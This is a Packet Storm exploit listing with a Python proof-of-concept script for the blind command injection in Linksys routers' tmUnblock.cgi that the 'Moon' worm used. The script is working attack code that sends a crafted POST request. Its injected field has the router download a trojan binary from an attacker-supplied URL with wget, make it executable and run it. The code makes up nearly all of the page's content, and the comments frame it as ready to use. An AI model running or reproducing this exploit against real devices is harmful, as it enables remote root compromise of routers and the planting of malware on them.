what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linksys Worm Remote Root

Linksys Worm Remote Root
Posted Feb 17, 2014
Authored by infodox

Proof of concept exploit used by the recent Linksys worm (known as "Moon"). Exploits blind command injection in tmUnblock.cgi.

tags | exploit, worm, cgi, proof of concept
SHA-256 | ae7d5127e7b3b8fa46d888c48b1a569122f9a4eb074e9be265ffb8853f9989d3

Linksys Worm Remote Root

Change Mirror Download
#!/usr/bin/python2
"""
Linksys Remote Root Exploit
infodox - insecurety research
This is the exploit this "Moon" worm uses.
Trivial blind cmd injection :)
This version crippled - uses wget.
Twitter: @info_dox
Bitcoins: 1PapWy5tKx7xPpX2Zg8Rbmevbk5K4ke1ku
"""
import requests
import sys

def banner():
print """\x1b[0;32m
.____ .__ __
| | |__| ____ | | __ _________.__. ______
| | | |/ \| |/ / / ___< | |/ ___/
| |___| | | \ < \___ \ \___ |\___ \
|_______ \__|___| /__|_ \/____ >/ ____/____ >
\/ \/ \/ \/ \/ \/
You are the weakest link. Goodbye.
Linksys remote root - infodox - Insecurety Research.
Version 2: Crippled (wget shelldrop only)
\x1b[0m"""

def upShell(wget_url, target):
""" This works with the normal busybox wget at least, and worked in testing"""
cmd = "wget %s -O /tmp/.trojan;chmod 777 /tmp/.trojan;/tmp/.trojan" %(wget_url)
print "{+} Planting Bomb!"
execute_command(target=target, command=cmd)
print "{!} TERRORISTS WIN!"

def execute_command(target, command):
url = target + "/tmUnblock.cgi"
injection = "-h `%s`" %(command)
# this is a very sexy POST request. TOTALLY LEGIT.
the_ownage = {'submit_button': '',
'change_action': '',
'action': '',
'commit': '0',
'ttcp_num': '2',
'ttcp_size': '2',
'ttcp_ip': injection,
'StartEPI': '1'}
headers = {'User-Agent': 'Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]'}
# it is truly mad hax.
mad_hax = requests.post(url=url, data=the_ownage, headers=headers)

def main(args):
banner()
if len(sys.argv) != 3:
sys.exit("usage: %s http://target http://me.com/trojan.bin" %(sys.argv[0]))
upShell(wget_url=sys.argv[2], target=sys.argv[1])

if __name__ == "__main__":
main(sys.argv)

Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    11 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close